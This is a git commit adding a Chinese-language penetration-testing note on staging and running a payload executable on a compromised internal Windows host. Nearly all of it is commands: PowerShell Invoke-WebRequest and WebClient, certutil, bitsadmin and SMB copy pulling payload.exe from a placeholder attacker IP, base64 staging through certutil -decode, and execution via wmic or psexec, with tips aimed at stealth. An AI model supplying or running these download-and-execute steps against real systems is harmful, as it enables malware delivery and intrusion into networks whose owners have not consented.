Add files via upload
This commit is contained in:
@@ -0,0 +1,104 @@
|
||||
### 内网文件 exe 落地怎么去做,用什么命令去执行来落地
|
||||
|
||||
**1. 文件落地前的准备**
|
||||
|
||||
在执行文件落地之前,你需要做好以下准备工作:
|
||||
|
||||
- **选择合适的工具**:你需要一个轻量、隐蔽、功能强大的工具,例如 **`meterpreter`**,它支持直接在内存中执行 Shellcode,避免文件落地。如果你必须落地文件,可以选择用 C++ 或 Go 等语言编写的、没有明显恶意特征的自定义 Payload
|
||||
- **设置文件服务器**:在你的攻击机上,你需要搭建一个简单的 Web 服务器或 SMB 服务器,以便目标机器能够下载文件
|
||||
- **HTTP 服务器**:在 Python 中,你可以用一行命令快速启动一个 HTTP 服务器:`python3 -m http.server 80`
|
||||
- **SMB 服务器**:使用 **`Impacket`** 工具包中的 **`smbserver.py`** 脚本,可以搭建一个 SMB 服务器
|
||||
|
||||
**2. 内网文件落地常用命令**
|
||||
|
||||
一旦你获得了目标机器的权限,就可以使用以下命令来下载文件:
|
||||
|
||||
**方法一:使用 PowerShell (推荐)**
|
||||
|
||||
PowerShell 是现代 Windows 系统自带的强大脚本语言,也是渗透测试中最常用的文件落地工具
|
||||
|
||||
- **使用 `Invoke-WebRequest` 或 `iwr`** 这是最常用的方法,它可以在后台下载文件,并且功能强大
|
||||
|
||||
```powershell
|
||||
# 下载文件并保存到指定路径
|
||||
Invoke-WebRequest -Uri http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe
|
||||
# 或者使用别名
|
||||
iwr http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe
|
||||
```
|
||||
|
||||
- **使用 `.NET` 对象** 这种方法更隐蔽,因为它直接调用 .NET 库,而不是通过一个特定的 cmdlet
|
||||
|
||||
```powershell
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
$WebClient.DownloadFile("http://<攻击机IP>/payload.exe", "C:\Users\Public\payload.exe")
|
||||
```
|
||||
|
||||
**方法二:使用 `certutil`**
|
||||
|
||||
`certutil` 是 Windows 系统自带的命令行工具,通常用于管理证书,但它也提供了下载文件的功能
|
||||
|
||||
- **下载命令**
|
||||
|
||||
```cmd
|
||||
certutil -urlcache -split -f "http://<攻击机IP>/payload.exe" C:\Users\Public\payload.exe
|
||||
```
|
||||
|
||||
- `-urlcache`:允许从 URL 下载
|
||||
- `-split`:将下载的文件保存为独立文件
|
||||
- `-f`:强制下载文件
|
||||
|
||||
**方法三:使用 `bitsadmin`**
|
||||
|
||||
`bitsadmin` 是 Windows 后台智能传输服务(BITS)的命令行工具。BITS 服务主要用于在网络中断后自动恢复下载,非常适合在不稳定网络环境下使用
|
||||
|
||||
- **下载命令**
|
||||
|
||||
```cmd
|
||||
bitsadmin /transfer myjob http://<攻击机IP>/payload.exe C:\Users\Public\payload.exe
|
||||
```
|
||||
|
||||
**方法四:使用 SMB 协议**
|
||||
|
||||
如果你在攻击机上搭建了 SMB 服务器,可以直接通过 SMB 协议传输文件,这在许多环境中比 HTTP 更隐蔽
|
||||
|
||||
- **下载命令**
|
||||
|
||||
```cmd
|
||||
copy \\<攻击机IP>\share\payload.exe C:\Users\Public\payload.exe
|
||||
```
|
||||
|
||||
**方法五:将文件内容写入文件**
|
||||
|
||||
这是一个非常隐蔽的方法,特别适用于 Shell 权限受限,无法直接执行下载命令的情况
|
||||
|
||||
- **原理**:你将文件的二进制内容转换为文本格式(例如十六进制字符串),然后通过 `echo` 命令或 `certutil -decode` 等方式,将文本内容写入一个新文件,并将其解码为可执行文件
|
||||
|
||||
- **示例**
|
||||
|
||||
1. 在攻击机上,将 `payload.exe` 转换为 Base64 编码:`base64 payload.exe > payload.b64`
|
||||
|
||||
2. 在目标机上,使用 `echo` 将 Base64 字符串写入一个临时文件:
|
||||
|
||||
```powershell
|
||||
echo <base64编码字符串> > C:\Users\Public\payload.b64
|
||||
```
|
||||
|
||||
3. 使用 `certutil` 将 Base64 文件解码为可执行文件:
|
||||
|
||||
```cmd
|
||||
certutil -decode C:\Users\Public\payload.b64 C:\Users\Public\payload.exe
|
||||
```
|
||||
|
||||
**3. 文件落地后的执行**
|
||||
|
||||
文件落地成功后,你需要执行它。执行命令取决于你获得的权限
|
||||
|
||||
- **在命令行中直接执行** 如果你已经获得了 Shell,可以直接输入文件路径来执行:`C:\Users\Public\payload.exe`
|
||||
|
||||
- **使用 `psexec`** 如果你有域管理员权限,可以使用 `psexec` 在目标机器上远程执行文件
|
||||
|
||||
- **使用 WMI** 利用 **Windows Management Instrumentation (WMI)**,你可以通过远程方式在目标机器上执行进程
|
||||
|
||||
```powershell
|
||||
wmic process call create "C:\Users\Public\payload.exe"
|
||||
```
|
||||
Reference in New Issue
Block a user